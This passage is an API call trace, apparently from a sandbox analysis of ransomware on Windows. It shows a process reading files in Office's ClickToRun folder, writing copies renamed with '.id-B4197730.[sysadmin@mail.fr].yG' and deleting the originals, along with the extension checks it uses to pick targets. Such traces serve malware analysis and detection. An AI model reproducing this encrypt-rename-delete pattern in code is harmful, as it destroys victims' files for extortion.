	[0055.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0055.601] lstrlenW (lpString=".dbf") returned 4
	[0055.601] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0055.601] lstrlenW (lpString=".1cd") returned 4
	[0055.601] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0055.601] lstrlenW (lpString=".jpg") returned 4
	[0055.601] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0055.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0055.601] lstrlenW (lpString=".doc") returned 4
	[0055.601] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.601] lstrlenW (lpString=".docx") returned 5
	[0055.601] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.601] lstrlenW (lpString=".pdf") returned 4
	[0055.601] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.601] lstrlenW (lpString=".xls") returned 4
	[0055.601] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.601] lstrlenW (lpString=".xlsx") returned 5
	[0055.601] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.601] lstrlenW (lpString=".ppt") returned 4
	[0055.601] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0055.601] lstrlenW (lpString=".zip") returned 4
	[0055.601] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.601] lstrlenW (lpString=".rar") returned 4
	[0055.601] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.601] lstrlenW (lpString=".bz2") returned 4
	[0055.601] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.601] lstrlenW (lpString=".7z") returned 3
	[0055.601] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.601] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0055.601] lstrlenW (lpString=".dbf") returned 4
	[0055.602] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0055.602] lstrlenW (lpString=".1cd") returned 4
	[0055.602] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.602] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-process-l1-1-0.dll") returned 91
	[0055.602] lstrlenW (lpString=".jpg") returned 4
	[0055.602] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.602] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.602] lstrlenW (lpString="api-ms-win-crt-stdio-l1-1-0.dll") returned 31
	[0055.602] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x390
	[0055.603] GetFileSizeEx (in: hFile=0x390, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=24768) returned 1
	[0055.603] CloseHandle (hObject=0x390) returned 1
	[0055.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 0x20
	[0055.603] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0055.604] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.604] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.604] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0055.604] GetLastError () returned 0x0
	[0055.604] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x60c0, lpOverlapped=0x0) returned 1
	[0055.618] WriteFile (in: hFile=0x334, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x60d0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x60d0, lpOverlapped=0x0) returned 1
	[0055.619] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.619] WriteFile (in: hFile=0x334, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x112, lpOverlapped=0x0) returned 1
	[0055.619] SetEndOfFile (hFile=0x334) returned 1
	[0055.619] CloseHandle (hObject=0x334) returned 1
	[0055.620] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.620] SetEndOfFile (hFile=0x2ec) returned 1
	[0055.621] CloseHandle (hObject=0x2ec) returned 1
	[0055.621] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.623] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-stdio-l1-1-0.dll")) returned 1
	[0055.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0055.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0055.623] lstrlenW (lpString=".doc") returned 4
	[0055.623] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.623] lstrlenW (lpString=".docx") returned 5
	[0055.623] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.623] lstrlenW (lpString=".pdf") returned 4
	[0055.623] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.623] lstrlenW (lpString=".xls") returned 4
	[0055.623] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.623] lstrlenW (lpString=".xlsx") returned 5
	[0055.623] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.623] lstrlenW (lpString=".ppt") returned 4
	[0055.623] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.623] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0055.623] lstrlenW (lpString=".zip") returned 4
	[0055.623] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.624] lstrlenW (lpString=".rar") returned 4
	[0055.624] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.624] lstrlenW (lpString=".bz2") returned 4
	[0055.624] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.624] lstrlenW (lpString=".7z") returned 3
	[0055.624] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0055.624] lstrlenW (lpString=".dbf") returned 4
	[0055.624] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0055.624] lstrlenW (lpString=".1cd") returned 4
	[0055.624] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0055.624] lstrlenW (lpString=".jpg") returned 4
	[0055.624] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0055.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0055.624] lstrlenW (lpString=".doc") returned 4
	[0055.624] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.624] lstrlenW (lpString=".docx") returned 5
	[0055.624] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.624] lstrlenW (lpString=".pdf") returned 4
	[0055.624] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.624] lstrlenW (lpString=".xls") returned 4
	[0055.624] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.624] lstrlenW (lpString=".xlsx") returned 5
	[0055.624] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.624] lstrlenW (lpString=".ppt") returned 4
	[0055.624] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.624] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0055.624] lstrlenW (lpString=".zip") returned 4
	[0055.624] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.624] lstrlenW (lpString=".rar") returned 4
	[0055.624] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.624] lstrlenW (lpString=".bz2") returned 4
	[0055.624] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.624] lstrlenW (lpString=".7z") returned 3
	[0055.625] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0055.625] lstrlenW (lpString=".dbf") returned 4
	[0055.625] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0055.625] lstrlenW (lpString=".1cd") returned 4
	[0055.625] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.625] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-stdio-l1-1-0.dll") returned 89
	[0055.625] lstrlenW (lpString=".jpg") returned 4
	[0055.625] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.625] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.625] lstrlenW (lpString="api-ms-win-crt-time-l1-1-0.dll") returned 30
	[0055.625] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0055.625] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=21184) returned 1
	[0055.625] CloseHandle (hObject=0x2ec) returned 1
	[0055.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 0x20
	[0055.625] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0055.626] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.626] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.626] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0055.626] GetLastError () returned 0x0
	[0055.626] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x52c0, lpOverlapped=0x0) returned 1
	[0055.719] WriteFile (in: hFile=0x334, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x52d0, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x52d0, lpOverlapped=0x0) returned 1
	[0055.720] ReadFile (in: hFile=0x2ec, lpBuffer=0x3f5d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x326fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesRead=0x326fecc*=0x0, lpOverlapped=0x0) returned 1
	[0055.720] WriteFile (in: hFile=0x334, lpBuffer=0x3f5d020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x326fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f5d020*, lpNumberOfBytesWritten=0x326fc94*=0x110, lpOverlapped=0x0) returned 1
	[0055.720] SetEndOfFile (hFile=0x334) returned 1
	[0055.720] CloseHandle (hObject=0x334) returned 1
	[0055.722] SetFilePointerEx (in: hFile=0x2ec, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x326fec0 | out: lpNewFilePointer=0x0) returned 1
	[0055.722] SetEndOfFile (hFile=0x2ec) returned 1
	[0055.723] CloseHandle (hObject=0x2ec) returned 1
	[0055.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0055.723] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\api-ms-win-crt-time-l1-1-0.dll")) returned 1
	[0055.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0055.723] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0055.723] lstrlenW (lpString=".doc") returned 4
	[0055.723] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.723] lstrlenW (lpString=".docx") returned 5
	[0055.723] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.723] lstrlenW (lpString=".pdf") returned 4
	[0055.723] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.723] lstrlenW (lpString=".xls") returned 4
	[0055.723] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.724] lstrlenW (lpString=".xlsx") returned 5
	[0055.724] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.724] lstrlenW (lpString=".ppt") returned 4
	[0055.724] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0055.724] lstrlenW (lpString=".zip") returned 4
	[0055.724] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.724] lstrlenW (lpString=".rar") returned 4
	[0055.724] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.724] lstrlenW (lpString=".bz2") returned 4
	[0055.724] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.724] lstrlenW (lpString=".7z") returned 3
	[0055.724] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0055.724] lstrlenW (lpString=".dbf") returned 4
	[0055.724] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0055.724] lstrlenW (lpString=".1cd") returned 4
	[0055.724] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0055.724] lstrlenW (lpString=".jpg") returned 4
	[0055.724] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0055.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0055.724] lstrlenW (lpString=".doc") returned 4
	[0055.724] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.724] lstrlenW (lpString=".docx") returned 5
	[0055.724] lstrcmpiW (lpString1=".docx", lpString2="0.dll") returned -1
	[0055.724] lstrlenW (lpString=".pdf") returned 4
	[0055.724] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.724] lstrlenW (lpString=".xls") returned 4
	[0055.724] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.724] lstrlenW (lpString=".xlsx") returned 5
	[0055.724] lstrcmpiW (lpString1=".xlsx", lpString2="0.dll") returned -1
	[0055.724] lstrlenW (lpString=".ppt") returned 4
	[0055.724] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.724] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0055.725] lstrlenW (lpString=".zip") returned 4
	[0055.725] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.725] lstrlenW (lpString=".rar") returned 4
	[0055.725] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.725] lstrlenW (lpString=".bz2") returned 4
	[0055.725] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.725] lstrlenW (lpString=".7z") returned 3
	[0055.725] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0055.725] lstrlenW (lpString=".dbf") returned 4
	[0055.725] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0055.725] lstrlenW (lpString=".1cd") returned 4
	[0055.725] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.725] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\api-ms-win-crt-time-l1-1-0.dll") returned 88
	[0055.725] lstrlenW (lpString=".jpg") returned 4
	[0055.725] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.725] lstrcmpiW (lpString1=".dll", lpString2=".yG") returned -1
	[0055.725] lstrlenW (lpString="AppVFileSystemMetadata.dll") returned 26
	[0055.725] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec
	[0055.725] GetFileSizeEx (in: hFile=0x2ec, lpFileSize=0x326ff14 | out: lpFileSize=0x326ff14*=307416) returned 1
	[0055.725] CloseHandle (hObject=0x2ec) returned 1
	[0055.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll")) returned 0x20
	[0055.725] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0055.726] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvfilesystemmetadata.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0055.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0055.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0055.726] lstrlenW (lpString=".doc") returned 4
	[0055.726] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.726] lstrlenW (lpString=".docx") returned 5
	[0055.726] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0055.726] lstrlenW (lpString=".pdf") returned 4
	[0055.726] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.726] lstrlenW (lpString=".xls") returned 4
	[0055.726] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.726] lstrlenW (lpString=".xlsx") returned 5
	[0055.726] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0055.726] lstrlenW (lpString=".ppt") returned 4
	[0055.726] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
	[0055.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0055.726] lstrlenW (lpString=".zip") returned 4
	[0055.726] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1
	[0055.726] lstrlenW (lpString=".rar") returned 4
	[0055.726] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1
	[0055.726] lstrlenW (lpString=".bz2") returned 4
	[0055.726] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1
	[0055.726] lstrlenW (lpString=".7z") returned 3
	[0055.726] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1
	[0055.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0055.726] lstrlenW (lpString=".dbf") returned 4
	[0055.726] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1
	[0055.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0055.726] lstrlenW (lpString=".1cd") returned 4
	[0055.726] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1
	[0055.726] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0055.727] lstrlenW (lpString=".jpg") returned 4
	[0055.727] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1
	[0055.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0055.727] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVFileSystemMetadata.dll") returned 84
	[0055.727] lstrlenW (lpString=".doc") returned 4
	[0055.727] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1
	[0055.727] lstrlenW (lpString=".docx") returned 5
	[0055.727] lstrcmpiW (lpString1=".docx", lpString2="a.dll") returned -1
	[0055.727] lstrlenW (lpString=".pdf") returned 4
	[0055.727] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1
	[0055.727] lstrlenW (lpString=".xls") returned 4
	[0055.727] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1
	[0055.727] lstrlenW (lpString=".xlsx") returned 5
	[0055.727] lstrcmpiW (lpString1=".xlsx", lpString2="a.dll") returned -1
	[0055.727] lstrlenW (lpString=".ppt") returned 4
	[0055.727] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1
